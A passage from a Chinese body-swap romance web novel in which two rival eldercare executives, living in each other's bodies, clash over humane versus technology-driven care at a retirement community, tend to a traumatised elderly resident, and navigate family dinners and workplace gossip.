许父见他们一副收拾好打算出门的模样,问:“你们这是打算去哪儿啊?”
“打算回家。”祁聿回答。
许母自然地挽上‘许暻’的胳膊,语气亲昵。
她说今天是和许父专门来看许暻的,上一次女儿遇到那种事情,好在没出什么大事,今天两人得空在家煲好了汤,特地送过来。
“正好,楹楹和阿聿也过来一起喝吧?带了挺多的。”许父邀请道。
眼下许暻和祁聿肯定也是回不了祁聿家,只能应下。
相比于祁聿家里的猎奇装修,许暻这里就温馨得多。暖色调的墙纸和顶灯看上去和她的性格完全不符,祁聿一直觉得这几年她是犀利固执的女强人,尤其是在许爷爷走了之后,一个人顶着事情繁多的养老院,还慢慢变得毒舌起来。
没想到私底下她还有另一种世界。
窗台上还摆着几盆她养的红玫瑰,鲜红的花朵静静绽放,房间里隐隐飘散着玫瑰的香气。
一切布置都非常简单,客厅里摆着一张手绘的全家福,还有她和宋楹的闺蜜照。
不过祁聿并没有太多的时间去留意这屋子里的东西,被许母的声音拉回来,“小暻,你去拿几个碗出来。”
祁聿还没反应过来,许暻就先站起来:“我去拿吧!”
她几步迈到厨房里,熟练地从橱柜里拿了碗出来,许父两眼怔怔地盯着‘祁聿’,又转头和妻子相视一眼。
“阿聿最近常来吧?也难怪上一次下暴雨的时候那么晚了你们还在一起。”
许父这话是对着‘许暻’说的。
许暻手里的动作一停,很快听出她爸话里有话,着急解释,嘴巴又没把住门:“不是的爸,我和他……”
“不是,叔叔阿姨,我没有常来,我也是第一次来许暻家。”
言辞稍显苍白,语气还很磕巴。
说服力几乎没有。
“……”
这下就有了“不解释还好,解释了反而欲盖弥彰”的味道。
都怪今天早上的事,许暻的大脑自动把他俩的关系复杂化。明明在父母眼里他们就只是同行,撑天了算个朋友,结果她顶着祁聿的身份叫了爸妈。
祁聿在一旁没有要说话的意思,宋楹也悄悄瞥过许父许母的反应。
好在许父许母都是体面人,一句叫错的称呼而已,许父很快打了圆场,却还是忍不住,频繁和许母对视。
许暻心口一紧,知道‘自己’要被问话了。趁着两人去了厨房洗保温盒,许暻赶紧串通身旁的祁聿:“一会我爸妈要是问你什么你可千万别瞎说,就说我们俩什么关系都没有!”
祁聿舀了一勺汤水,不紧不慢地送进嘴里,眉头轻挑,淡淡“哦”了一声。
许暻咬着唇,心虚地往厨房瞟了一眼,两只脚后跟忍不住在桌下轻跺。
果不其然,许父许母等宋楹和‘祁聿’都走了还没有离开的意思。
紧闭的大门那头,许暻扒在宋楹家的猫眼盯着对面的情况,一刻没敢松懈。
宋楹觉得她太紧张了,说许父许母不是会瞎想的人,许暻却头脑发胀,额角还时不时沁出一层薄汗。
自从她和祁聿互换之后,好多事情都出乎她的意料,就像当初她也没想过桐馨会和颐安合作。
怎么劝都
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没用,宋楹索性也不管她了,任由她扒在门边。
许暻到最后脖子都有些酸了,刚想放弃,对面的门就开了。
许父许母一前一后出来,脸上笑盈盈的。
祁聿站在门口送两人走,许暻没听到他们说了什么。
等两人下了电梯,门口那人目光缓缓移过来,隔着猫眼,对上了许暻的眸。
她下意识往后一退,又马不停蹄地拧开门,着急问:“你跟我爸妈说什么了?”
两人是打算在许父许母离开后回祁聿家的,祁聿靠在玄关换了鞋,神色从容,平静得想什么都没发生一样:“反正没瞎说,然后说了我们什么关系都没有。”
“真的?”许暻明显没有完全信。
“真的。”祁聿再次肯定。
……
新的一周开始,许暻一早去了颐安,刘助把颐安的自评表送了过来,顺便汇报今天的工作行程。
“祁总,您确认一下自评表的内容,如果没什么问题,今天下午我会上交相关材料到市民政局。”
许暻一愣,没想到桐馨和颐安上交自评表的日子是同一天,她前两天才让祁聿跟她的秘书说要把把所有资料盖完章,周一直接去上交材料。
评级他们之间并不存在太强烈的竞争关系,毕竟只要能达标、能在之后的专家评审中不出问题,一般都能成功评级。
确认之后,许暻点了头,刘助又问:“祁总,今天下午需要我派人和您一起去社区吗?”
整改社区的工作许暻打算立刻开始,今天打算先过去了解一下老人的基本情况。
许暻摇头,说她自己一个人去就好。
-
到社区的时候,许暻先去看了暴雨夜遇上的那位张奶奶。
这会她午睡刚醒,王阿姨在给她喂药。
许暻进房间的动作很轻,老人很乖,很听王阿姨的话,很快把药全吃了。
听见响动,王阿姨起了身,对着许暻笑笑:“祁总,您过来了?”
许暻嗯了一声,又走近了些。
她维持着笑,缓缓上前。
王阿姨主动说起这两天张奶奶的状况,吃饭睡觉都比较规律,不哭不闹,就是喜欢牵着王阿姨,一直念叨“阿澄”。
闻言,许暻又在她身边坐下,轻轻唤了一声:“奶奶。”
只是一声普通的叫唤,老人已经有了反应。
抬眸时,混沌的眼仁中虽飘散着迷茫的雾,但眼角却弯起了弧度,苍老的面容上露出明显的笑意,皱纹挤在一起,露出几分慈态。
“阿澄……”老人对着许暻唤道。
许暻也不介意老人把她认成孙女,对着老人又语气上扬地叫了声“奶奶”。
老人明显开心许多,但不知怎的,笑容又骤然褪去,沾上了几分愁容,她抓着许暻的手,声音开始哽咽:“阿澄…欺负…不要……阿澄……”
许暻不明白老人的话是什么意思,一旁的王阿姨又说:“张奶奶一提起阿澄就一会开心一会难过的,但是老人家话说不明白,也不知道她是什么意思。”
片刻的安静之后,许暻拍了拍老人的手。
轻声安慰:“奶奶,没有人欺负我,您放心,您先好好休息,我一会再来看您好不好?”
老人没有回应,情绪又恢复平静,一言不发。
考虑到今天过来还有重要的事,许暻慢慢从老人的掌心里抽回手,又嘱咐王阿姨好好照顾老人,随后去了服务站台。
服务站有两个人值守,剩下的医生和护士都在办公室里。
见‘祁聿’过来,两个值守的人放下了手里‘偷闲’的手机,连忙站起身:“祁总好。”
许暻嗯了一声,面色稍显严肃,她看了眼服务站大屏上的时间,还有十分钟,就到了老人们去活动室娱乐的时间。
“还有十分钟老人们就要去活动室娱乐休息,为什么走廊上一个人都没有?”
20. 氧气+20
值守的两个员工相视一眼。
其中一人站出来回答:“祁总,社区内一直是这样的呀,您之前不是也说了在规定的时间做规定的事嘛……”
许暻沉默了几秒,差一点就要像上次在会议室那样发脾气。
最后还是忍住。
颐安所坚守的理念和桐馨本就不一样,改变不是一时半会的事。
重新稳住情绪,许暻暂时没有多说什么,只是让她们把社区内所有老人的基本信息和身体状况调出来,说她需要了解。
两人虽然不知道‘祁聿’意欲何为,但依旧照做。
其中一人在打印资料,许暻跟着另一人去了老人们的房间,想要近距离接触接触这些老人,顺便叫他们出来活动。
从最靠近服务站的房间转起,许暻走在前面。
进门时护工坐在门口,旁若无人地看着手机,还对着屏幕里的内容发笑。
房间里三位老人坐在自己的床上,要么发呆,要么摆弄手上的智能手环。
见‘祁聿’进来,护工的动作明显一僵,笑容僵在嘴角,赶紧关了手机,悻悻起身:“祁总。”
许暻没回应,问了身边的人:“一个护工管几位老人?”
那人很快回答:“一般是一个护工管十位老人,也有特殊情况,完全不能自理的老人是一配一,稍微好一点的是一个管六到八位。”
差不多是那个标准,但这里完全不能自理的老人很少,所以基本上是一配十。
许暻的视线又回到护工身上,语调诙谐:“社区这种‘偷闲’的时刻很常见吗?”
护工和前台都稍稍一愣,知道这话说的是她们,前台抿了抿唇,不敢接话。
活动铃声适时响起,许暻没有继续盘问,侧了身让护工带老人去活动室。
有了机会逃脱,护工自然一刻也不敢留。
许暻走在他们后面,房间里的人几乎都出来了,几个卧床的老人除外。
她看到老人们就像是去完成任务的机械,有开心的,也有不开心的。护工垫后,等老人全部进了活动室,他们就坐在凳子上等老人活动完。
全程没有一句交流。
今天开放的活动有七个,有性格外向的老人主动邀伴一起,也有性格内向的老人默默在后面排队等候。
这里的所有人似乎都已经习惯了这种活动方式。
除了许暻。
她只能感觉到这些老人之间、老人与护工之间,都存在着看不见的距离感,好像在一起生活了这么久,就只是知道了彼此姓甚名谁,再多的就不了解了。
跟着许暻的前台问:“祁总,这会是他们活动的时间,您要不再去其他地方转转?”
“你们不派人来这里守着?”许暻问。
前台语塞两秒,不太理解‘祁聿’为什么会问出这种话,她怔怔回答:“祁总,我们一般都是根据摄像头来判断这里的情况的呀,而且有护工守在这里,一般是不会出事的。”
“……”
眉眼不住地抽了抽,再次稳住情绪,许暻先回了服务站。
东西已经打印好,许暻又要了食堂的固定菜单。了解了每一层的状况之后,她回了张奶奶的房间。
老人没去活动,不过王阿姨在陪她玩简单的拼凑模型,不过老人兴致缺缺,这些东西对她并没有太大的吸引力。
她靠在床边,木木地看着王阿姨,王阿姨也习惯了,笑着拿那些模型给她看,又引导询问:“张奶奶,我们把这两块拼在一起好不好?”
王阿姨顺势想要带着她的手一起把模块拼凑好。
老人最初是配合的,但两块模型合在一起后,老人瞳孔骤缩,突然松了手,不知道是受了什么刺激,她猛地推开王阿姨,声音嘶哑:“走开!不要!好痛…好痛……”
许暻和王阿姨都是一惊。
许暻没有片刻犹豫上前,帮王阿姨一起稳住老人的情绪。
然而老人激动异常,情绪不止,像爆发的前奏。
角落的监控识别到异常,许暻听到了几声警报。
很快,两个医护赶了过来。
许暻回头,语气急促:“老人需要镇静,她之前的用药你们应该清楚吧?”
医生点头,简单查看老人的情况之后,回了医疗室拿药。
护士过来帮着安抚老人的情绪,老人却更加激动,厚重的嗓音不住嘶吼:“打我…不要…阿澄……好痛……”
面目接近扭曲,花白的头发在挣扎中逐渐凌乱,枯瘦的脸颊淌过一丝晶莹。许暻用力握着老人的手,来回抚着她的后背,心口揪得难受。
没多久,医生终于返回,给老人注射了镇静药物。
情绪终于得到平复,老人挣扎的动作渐弱,许暻和王阿姨一起把老人扶下躺在床上,然后才收拾房间里的凌乱。
许暻看着老人安静下来的模样,双眉轻蹙,心里疑云又生。
她到底是经历了什么?每次情绪失控时总会说一些奇怪的话语,从最初的‘许院长’、‘都来打我’,到现在的‘好痛’、‘打我’。
是在孙女失踪之后被人打过吗?
可又跟爷爷有什么关系?
还有她一直忽略的一件事,她的孙女为什么失踪?是和爷爷有关吗?
老人又到底是为什么会突然情绪失控?
这一次是,上一次暴雨夜也是。
医生和护士确定老人的体征正常之后,和许暻打过招呼就出去了。
王阿姨还在捡散落在地上的模型。她还觉得奇怪,边捡边道:“这模型不好吗?我还以为张奶奶会喜欢,这还是林护士拿来的新的模型呢。”
许暻回头瞥了一眼,神色却瞬间变了——
那是拼字模块,两块拼起来是一个“怡”字。
怡康?
许暻并不能确定自己的猜想,在心里留了底。
因为药物的作用,老人睡着了,许暻又出门买了点橘子送过来,让王阿姨好好照顾老人。时间差不多,她才回颐安大楼。
……
许暻回来的时候,刘助恰好也送完材料回来。
手上的那一沓资料顺手给了刘助,“把这些资料均等分一下,多找几个人,其中一份给我,今天下班之前,把所有老人的生日和喜好整理汇总出来。”
“祁总,您这是?”刘助不解问。
“整改的准备工作,在原有的基础上,我打算发展一下养老社区的人文关怀。”许暻一副势在必得的模样。
刘助有短暂的错愕,眼眸微瞪,嘴唇张了张,一时语塞。
许暻又接着说:“还有,发个通知,让社区那边的医务科主任和护士长明天上午九点半来这边开会,我有事情要说。”
“…哦,好。”
刘助来不及多问什么。
为了能按时下班,他火速分好了许暻带回来的资料,送了一份给许暻之后,他又把剩下的分去了行政部。
“刘助,这又是什么情况?”其中一人问。
虽说行政部平时不出头,跟其他部门的人交流不算多,但公司里的消息在他们这也是藏不住的。
上一次许暻来颐安“考察”的事在公司交流群里可是传得沸沸扬扬的。
刘助也不知道‘祁聿’到底要做什么,只能复述‘他’的话:“祁总说,打算发展一下养老社区的人文关怀,我也不知道为什么。”
“人文关怀?那不是桐馨的发展理念吗?”
“咱们祁总不是一直标榜说要用科技便利老人的生活吗?怎么学起桐馨来了?”
几个员工面面相觑,又有一人说:“不会那个传言是真的吧?祁总真和桐馨的许院长在一起了?所以是枕边风吹的咯?”
“这还真说不准!”
八卦的架势只涨未消,刘助及时止住了议论:
“好了,你们别瞎猜了,这都是祁总的私事,快点做事儿吧,我还想准点下班呢。”
四十分钟后,许暻已经收到了刘助汇总的文件。不得不说,祁聿选的助理是真不错,话不多、效率还高。
……
许暻到家的时候,祁聿已经在家里准备做饭。
手机屏幕还亮着外卖的页面,许暻在纠结要吃什么。
她习惯性地没和他说话,换了鞋准备进房间接着看外卖。祁聿却出了厨房,右手还挥着正在切肉的刀。
许暻一愣,见他一副“拎刀过来砍她”的架势,脚步下意识后退,双手交叉挡在胸前,做出防御姿态:“干嘛?”
她看到熟悉的脸上闪过无奈的笑,然后说:“我来跟你说别点外卖,我来做。
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”
诡异。
太诡异了。
许暻依然警惕,“你又抽什么风?”
那人不以为然,空出来的手在围裙上摸了摸水珠。完全失掉了那副冷劲,神色松弛许多。
“哪有抽风?吃了快一个星期外卖你还没吃腻?”
“没有。”许暻实话实说。
“……”
气氛僵了一瞬,祁聿沉了口气:“这顿我请你,我一个人吃不完,不想浪费粮食。”
思忖片刻后,许暻答应了。
免费的晚餐不吃白不吃。
正好借机跟他说说整改的事。
许暻的思绪已经被怎么把颐安的养老社区合理整改占满,把她和祁聿之前的尴尬也忘了个彻底。
哪怕是到了餐桌上,许暻也是机械地夹着菜,注意力根本不在吃饭上。
祁聿以为她不爱吃,视线几次停留,最后终于忍不住问出了口:“不好吃?”
问完之后他还特地夹了块排骨放进嘴里。
多好吃啊。
他又夹了一块。
许暻这才回神,注意到桌上的饭菜,她摇头,说自己在想整改社区的事。
“……”
祁聿在这当子开了口,她又接着往下问:“你介意我再招几个护工吗?”
“我记得社区的护工配比是符合标准的。”祁聿脸上的表情变了变,原本松弛的语气收敛,又沉了下去。
“是,是符合标准,但是一个护工管的老人如果太多,他们就很容易产生疲倦感,就不会愿意和老人有正常、亲近的交流了。”
他又沉默了一会,再开口时,声音冷了些。
手里的筷子停在那里,祁聿没有了吃饭的心情,他转过头来,一字一句道:“许总,或许你忘了,颐安科技是发展科技的公司,人力如果足够,老人的其他需求我们会尽可能地用科技来弥补。”
“可不是所有的老人都喜欢科技的,你上次也看到了,社区里面很多老人都不怎么和人说话。”
“但也不是所有的老人都不喜欢科技。”祁聿一句话反驳回去,“科技养老社区对标的就是想要用科技来便利老年生活的老人。”
他停了一会,又继续说,语气平淡:“许暻,随意整改有一个前提是,你不能动养老社区里的基础建设,你可以随意宣传、发展你的人文,也可以改社区内人为制定的规则和方案,但是添加人员必须要在必要的时候才能施行。”
“……”
许暻一时语噎,想再说点什么,但又觉得想说出口的话没什么支撑点。她总不能无理取闹,只好把话吞回肚子里。
她低下头,无味地扒着碗里的饭。
对面的人静了一会儿,许暻脑中又窜出新的问题:如果不加护工,要怎样让那个地方更有人情味一点?要怎样才能让那些老人不再只是和智能手环里的语音助手交流?
突然,对面那人又出了声,语气较前缓和了不少:“你就真的那么想加护工进来?”
思绪被打断,许暻“啊”了一声,过了一会儿才反应过来,“不加就不加吧,我再想想其他办法。”
祁聿却突然把手伸过来。
“干嘛?”许暻不懂。
“手机给我。”
许暻从兜里掏出他的手机。
只看到他在屏幕上快速操作一番,又很快把手机给了她,什么话都没说。
许暻咀嚼的动作慢了些,双眸木然。
大脑又很快重新被工作的事占据,没有管他。
后来餐桌也是祁聿收拾的,许暻本来想吃了他的饭,那她就来洗碗,但祁聿说他顺手。
于是许暻心安理得地回了房间,趁着有空,她上网搜了搜关于林澄的事。
然而就和上次老人住院时医生说的情况无差,只知道林澄是老人的孙女,一年前失踪,至于具体的原因,无从得知。
思来想去,许暻决定抽空去警察局问问,实在不行也只能试试发寻人贴了。
……
隔天一早,许暻刚到办公室,刘助就进来了。
“祁总,这是您吩咐的护工的资料,我挑了几个还不错的,您要亲自面试吗?”
刘助把几份简历整齐地摆在她面前。
许暻一懵:“什么面试?”
21. 氧气+21
刘助微愣,目光轻轻和她撞了撞。
“祁总,您不是说要多招几个护工,让我严格把关吗?”
许暻皱眉,在脑海里过了一遍,她不记得她说过这样的话:“什么时候?”
“昨天晚上,您给我发的消息呀。”
刘助的语气中明显透着几分茫然。
印象里祁聿从来不会忘事的,最近怎么这么健忘?
难不成真在谈恋爱,把脑子给谈傻了?
脑海中突然蹦出昨晚在餐桌上的画面,许暻缩了缩唇——
祁聿那会是把他的手机拿过去了。
原来他是在和刘助发消息?
情绪多了几分畅快,许暻的嘴角忍不住地往上勾起弧度,想往下压,眼角却不自觉地跟着弯。
心口闪过一丝甜意。
她揉了揉鼻尖,手掌挡住了嘴唇。
看来多吃甜品真的会心情好。
“哦,我想起来了。”许暻又重新端坐,“我一会看,你去帮我泡杯咖啡。”
刘助刚走,许暻就掏出了祁聿的手机。
用他的脸解了锁之后,她点开了微信,祁聿和刘助的聊天记录就在前面几行。
点进去聊天界面,就是祁聿昨晚发的消息。
看着那几行简单的话语,一股难言又莫名的电流从她的身体里窜过,确切地说,其实是从‘祁聿’的身体里窜过。
顺着脊髓蔓延至神经,牵起一阵快意。
眉心抽了抽,许暻感觉有一种莫名的情绪就快压制不住。
情绪牵动着身体,她的手轻轻颤抖了一下,不小心在屏幕上一滑,也不知道是点到了什么,手机自动跳转到另一个界面。
许暻稍稍一慌,拿稳手机时,人脸已经自动识别,然而识别成功之后还有一道密码锁。
这是备忘录。
双重密码?
许暻不知道祁聿的密码,当时两人换手机时,只说人脸识别能打开,况且平时两人只是用彼此的手机接电话,娱乐什么的要么在工作手机,要么直接换设备。
她无心去看他的秘密,直接退出界面。
刘助也端着咖啡进来,“祁总。”
咖啡送到许暻跟前,许暻已经习惯了之前在养老院秘书给她泡的加糖拿铁,看都没看就直接端起来喝。
然而咖啡刚入嘴,她没忍住吐了出来。
凳子往后一滑,两只手慌乱地拿纸。
刘助稍稍愕然,以为自己泡的咖啡难喝,忙给她清理桌面。
他小心翼翼问:“祁总,不好喝吗?我是按您平时的标准泡的呀。”
许暻咬着舌头擦净嘴唇,味蕾上停留的苦涩半分未消。
她摇头:“太苦了,去给我换杯拿铁,再加两包糖。”
闻言,刘助神色更加错愕:“加糖?”
他都怀疑是自己听错了。
但许暻十分肯定道:“对,加两包,茶水间如果有甜品你给我也拿点上来。”
“……哦。”
刘助虽然不理解,但还是照做。
刘助又重新端了拿铁过来,还有一小块巴斯克。
他提醒道:“祁总,社区那边的医务科主任和护士长已经过来了,会议还有十分钟开始。”
许暻点头:“我知道了,你把我置顶的最新文件打出来,一人一份,开会用。”
“好。”
……
许暻开会的内容令主任和护士长不解。
两人心照不宣地交换了一个眼神,主任又重新翻阅了一遍许暻给的资料。
“祁总,这几年我们社区不是一直做得好好的吗?每个老人也都很喜欢使用我们的科技产品,生活方面也没有什么怨言,怎么又突然要改革呢?”
许暻调出了刘助发给她的几项调查对比图,她发现颐安的养老社区虽然有一定的受众,但入院的老人大多都是子女移民国外,国内举目无亲的独居老人。
并且这些老人有一定的文化程度,或许当初在颐安打下科技养老的名号时,他们是对这里充满了期待的,但真正在这里按照统一的标准生活之后,心态就有了变化。
许暻发现,他们在最近一次做抑郁自评量表时,分数虽然达不到抑郁症状的标准,但有几项数据却很值得关注。
比如量表中有一项条目为:我吃饭像平时一样多。
大部分老人选择的都是“很少有”。
另一项条目为:我认为我的生活很有意义。
大部分老人的选择也是“有时有”。
而在桐馨里面,这两项除了确诊抑郁的老人之外,几乎所有的老人都选择为“经常有”。
虽然数据没有太大的临床意义,却也能适当参考。所以许暻觉得整改是有必要的。
主任和护士长点了点头,但考虑到颐安的发展宗旨,主任再次开口:“祁总,只是这个问题我们其实有过考量,只是结合咱们公司和社区的实际,这几项数据其实并不会带来影响。”
“而且统一化的管理也比较适合咱们社区,今年相比于之前的两年,老人出现的像跌倒、烫伤现象就明显减少了。”
“是啊祁总,”护士长也出来表达自己的观点:“而且老人们都已经形成习惯,加上每人佩戴的智能手环,还有每个房间的智能护理床,都是和系统关联的,老人的体征出现异常会自动通知咱们的医护,这也节约了大量的人力呀。”
许暻大概明白她们的意思。
毕竟现状是,社区内的医护可以在服务站和医疗室值守,风险能被监控识别,智能护理床和手环在一定程度上帮医护完成了工作,减少了她们的工作量。
如果改变,她们的工作量就可能会增加。
但为了降低社区老人出现抑郁症状的风险,许暻的态度强硬。
好在祁聿的嗓音稍微压低就带着一股不容置喙的力量,她也逐渐用得熟练。
眼神稍微收敛,眸中竖起冷厉的锋芒,她冷声道:“我知道你们的顾虑,但我不想出了问题再来解决,防患于未然才是最好的。”
“从今天起,老人在活动时,活动室里必须有医护值守,绝不允许再出现工作人员在坐在服务站玩忽职守的现象,后续我会制定一个方案,社区也慢慢地不再完全统一管理,适当让老人们自由一些。”
她的视线在两人身上悠悠扫过,又继续说:“你们俩作为社区的主心骨,需要先改变自己的想法和心态,然后去带动下面的人一起经营养老社区,减少和老人之间的距离感,让住在社区的每一位老人都觉得这里是他们晚年的家,而不是一个定时定点吃饭睡觉的牢笼。”
两人一句话也说不出。
完全不敢相信这些话是从‘祁聿’嘴里说出来的。
“之后我也会经常去社区帮忙,希望二位也能以身作则,毕竟社区能够持续发展,才是我们大家都想要的。”
……
……
许暻又向两人交代了许多事情,包括让他们不能过于依赖科技产品,人力是相当必要的,还有多跟老人交流,甚至搬出了桐馨来举例。
两人最初虽然有些抗拒,但许暻说了一大堆,还拿出数据说话,当然最重要的就是那句持续发展,直接关系到两人的未来。
这场会议差不多开到中午。
主任和护士长两人刚走,刘助就来告知她董事长找她。
身体微微一僵,脚步顿在原地,许暻有些紧张地问:“找我做什么?”
倒不是因为别的紧张,而是人家要找的是祁聿,而‘他’现在是许暻,万一问到什么盲区岂不是很危险?
刘助只负责告知,自然不知道具体做什么。
“董事长只说他在办公室等您。”
许暻本想等一会,等她问过祁聿之后再上去,可刘助却在一旁催促:“祁总,董事长让您赶快上去,您从来都不迟到的。”
“……”
刘助给她施压,无奈,许暻只好乖乖上楼。
一个人上楼,动作略显拘谨。她只记得祁聿之前说过,董事长所在的那层和他那一层构造是一模一样的,办公室也在最里面。
到了顶层之后,她稍稍紧张起来,就像上学时期突然被教导主任叫到办公室一样。
迈步之前,她深吸了一口气,先平复情绪,双眸轻闭,在脑海中不断重复:这是祁聿的身体。
又想起那天祁聿说的:反正是以我的名义,难不成许总怕了?
再睁眼时,眼底胆怯全无,冒出一股劲,混在祁聿的眸子里,颇有几分他的傲气。
许暻坦荡迈步,到了门口,礼貌敲门。
里头一声沉稳的“进”透过门传出,许暻推门而入。
意料到来人会是‘祁聿’,李董那张不怒自威的脸上展露出和善的笑。
他伸手,示意许暻在对面的椅子坐下。
“董事长。”许暻稍微颔首,面色冷静。
李董嗯了一声,并没有直切主题。
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他的眉眼弯起,笑眯眯的,像是话家常那般,语调轻松:“小祁,这段时间公司发展得很不错,尤其是养老社区,不管是财务报表还是业内口碑,我都十分满意。”
辨不清目的,许暻稳住了心神,没有仓促开口,稍微弯唇笑笑,用了一句万能话:“这些都是我应该做的。”
李董也低声笑笑,被岁月打磨过的面容隐隐流露出沉稳从容的气势。
他点了点头,说了几句称赞的话:“你也知道,我是非常欣赏你的,自从你进咱们公司之后,颐安在业内的声誉更是与日俱增,这也证明你确实是个好苗子,我当初没有看错你。”
许暻虽然才接管养老院一年,但之前也是一直在养老院跟着爷爷奶奶学习,更见过不少大场面。
听着李董的话,她的警惕心渐渐增长——
这话有几分欲抑先扬的味道。
斟酌之后,她谨慎开口:“李董,进入公司为公司效力本来是我的本职工作。只是我还远远达不到您的标准,如果我有什么做得不太妥当的地方,还需要您指点指点。”
话音刚落,许暻听到李董又发出一声低笑,但这一次好像完全没有了威慑力,就只是像一个朋友来找她聊天一般。
“你现在倒是圆滑了不少。”
他让助理给‘祁聿’倒了杯茶进来,“别紧张,我就是想简单和你聊聊。听说你最近恋爱了?”
闻言,许暻差点被自己的口水呛到,猛地抬眼,大脑发懵:“恋爱?”
祁聿谈恋爱了?
她没听说啊。
不是前不久还说自己这么多年没有过女人吗?
李董接着说:“我听说还是和桐馨的许总,是许院长家的小丫头啊。”
许暻这一次是真的被口水呛到。
在李董面前失了态,她捂着唇被迫咳了几声,还没能解释,就听李董又说:“是和她相处久了,所以想在咱们的养老社区也发展发展人文?”
这下倒是了然了。
原来是想说这事。
不过他听说的事情也太离谱了些。
他们明明是因为灵魂互换,而且是她想发展人文。
许暻终于有了底气,重新稳住心态,“不是的李董,是我前不久受邀去过一次桐馨,在接触过那边的服务理念之后有了新的见解,所以想做初步的尝试。”
令她意外的是,李董竟没有任何疑义,反而很支持:“我也听小刘说了,他给我看了你们整理的资料,还有今天的会议,我看了会议室的智能监控,你说得不错。”
“……”
会议室居然还有智能监控?
不过他都知道了,许暻不知道为什么还需要叫她过来。
她正欲开口,李董先替她解开了疑惑。
“你想整改社区,我没有意见,不过有一点,你需要明白:我们是一个科技公司,不管别人是怎样的,我们始终要有自己的特色。”
他的话点到为止,许暻差不多明白了——
能有人文,但是科技必须是主流。
她在这里可以宣传她的人文,但不能轻易改变原有的格局。
就和祁聿的想法一模一样。
不过这位李董大概是担心‘祁聿’把控不好这个度?毕竟‘祁聿’都打算招新人了。
所以特地来警示一番吧。
短暂的沉默之后,许暻点了点头:“我明白。”
……
淮北机场,祁聿在车里等着周擎越出来。
他对周擎越的印象,算不上好也算不上坏。
或许是因为这人很小就失去了父母,在一个新的环境里长大,所以处事十分圆滑,步步都走得小心。
但有的时候这种圆滑反而不太讨喜。
不过祁聿自己清楚,他对周擎越的不喜欢,还有一部分其他的原因。
只是他也挑不出这人的毛病,总不能随便就厌恶了。
祁聿深吸了口气,不再多想。
手里拿着许暻的手机,点开了她的相册,一张一张地翻看。
里头大部分是她的自拍照,还有养老院里的老人、她和宋楹、许父许母,还有许爷爷和许奶奶,甚至还有周擎越。
就是没有他。
本来扬上去的嘴角又掉了下来。
他还想再继续看,车窗外陡然传来一声还不算陌生的声音:“小暻!”
他悠悠转头,看到周擎越拖着行李箱,空出来的手还朝他挥了挥。
22. 氧气+22
祁聿关了手机,没有下车,等着他自己上来。
周擎越也不介意,倒真是自己把行李箱放进了后备箱,再上车,动作一气呵成。
他望着身边的人,嘴边咧开温和的笑:“小暻,麻烦你过来接我了,今天这么冷怎么不多穿点儿?小心着凉。”
“我不冷。”祁聿握着方向盘,也不问别的,准备走了。
只不过车里空间相较狭窄,祁聿能感觉到副驾驶座那人的注意力在他身上。
确切来说,应该是在‘许暻’身上。
他听到那人笑了一声,然后说:“看来小暻这一年来确实成长了,整个人都稳重了不少。”
祁聿本想随便敷衍回答,但思绪一转,他平转过去,对着那人扯出一个很浅的笑。
“哪有?养老院每天事情繁杂,都是累出来的而已。”
周擎越果然顺着他的话继续:“你刚接手一年,累是肯定的,而且我记得咱们已经和怡康签了合同了,程序都走完了吗?”
祁聿不动声色,说还没有,要等到下个月初。
“等程序走完,桐馨的分院建设好了,我就去那边吧,本部就全权交给你负责,也是师父的心愿。”
祁聿稍稍一愣。
他记得以前周擎越在桐馨是仅次于许爷爷的二把手,而且他是许暻的师兄,虽说养老院是许爷爷留给许暻的,但周擎越应该不会想离开本部才是。
当时如果不是因为他坚持要去国外学习进修,桐馨副院长的位置就是他的了。
还是说他真的在为许暻考虑,不想给她带来危机感?
祁聿拿不准,没急着给他答复。
“你不是说订了餐厅?现在去接我爸妈。”
‘许暻’主动避开话题,周擎越也很有眼力见,不再继续往下说,又恢复他本有的谦和,语气不低沉也不张扬,像是温柔的清泉,很容易让人心生好感:“好,真好,又可以和你们一起生活了。”
……
许暻收到祁聿的消息的时候,正准备回家。
她知道今天周擎越回来,也知道他们要去吃饭,她虽然很想去,很想见见已经一年不见的师兄,但她也没办法,总不能顶着祁聿的身份去?
那多奇怪。
然而在看到消息之后,她懵了——
「叔叔阿姨问,要不要叫‘祁聿’过来一起,你来吗?」
许暻直接回了电话过去。
“我爸妈为什么突然这样问?”
那头的人好像坐在车里,周围传来间歇的鸣笛声,刮过的风里混入了车胎辗过路面的声响。
那人的语气波澜不惊,语调轻微上扬:“不知道,可能…也就随便问问?”
许暻没有深究,有了一个合适的理由,她也没有拒绝的道理。
她已经站在电梯口,“地址发我,我现在过去。”
华灯初上的城市中,霓虹闪耀。
导航提示距离目的地不足一百米,许暻两手扒着方向盘,侧头望着餐厅的logo。
然而视野中率先出现的并不是餐厅,而是她熟悉的那辆车,以及…半升的车窗后,那张再熟悉不过的面孔。
那人似乎早就看到了她,对上视线的那一刻,他升了车窗,下了车。
许暻把车靠过去,在他旁边停下。
“许总车技不错,这么快就到了。”祁聿靠在车边,眸子里染上似笑非笑的色点。
许暻关了车门,扬起嘴角,扯出一个假的不能再假的笑:“是吧?只可惜我不收徒,祁总要是想精进一下初学者的技术,只能另寻高人了。”
“……”
许暻见好就收,现在不是耍嘴皮子的时候,她又问:“你今天下午没在我师兄面前露馅儿吧?”
祁聿摇了摇头:“没有。”
许暻半信半疑,再次警告:“不管有没有,你别再瞎说话了,听见没有?”
有了前几次的教训,许暻不得不提前预防。
那人不以为然,推着她进餐厅。
只说了句:“我心里有数。”
周擎越订的包厢,这里环境不错,菜品也独具特色。
包厢里的三个人正闲聊,见门重新推开后,多了道身影,许母起身一笑:“阿聿到了?来,快进来坐吧。”
这一次许暻提前准备过,没有再叫错人:“叔叔阿姨好。”
又转向对面的周擎越,“周大哥,好久不见。”
“……”
“……”
祁聿和周擎越同时愣住。
祁聿的眼瞳往旁边转了一下,落在许暻身上,又很快转回来,鼻子往上拱了拱,嘴唇紧抿,似乎在克制什么。
周擎越倒是第一次听见这个称呼。
刚才‘许暻’说今晚祁聿约了她吃饭,许父寻思大家都认识,就干脆叫过来一起,那会他本来觉得祁聿来了他们可能会尴尬,毕竟他总觉得祁聿对他其实是有些敌意在的。
不过现在看来他的顾虑是多余的。
周擎越弯了弯眉眼,唇角荡起恰到好处的弧度,语气温和:“好久不见。”
还是许暻熟悉的笑,还是许暻熟悉的人。就算一年不见,他身上的气质还是没变。
依旧是她性格谦和体贴的师兄。
周擎越给两人添了茶水,目光在两人身上扫过,不经意提起:“我听说前阵子的行业论坛,你们表现都很不错,而且听说祁聿还成了颐安的CEO了。”
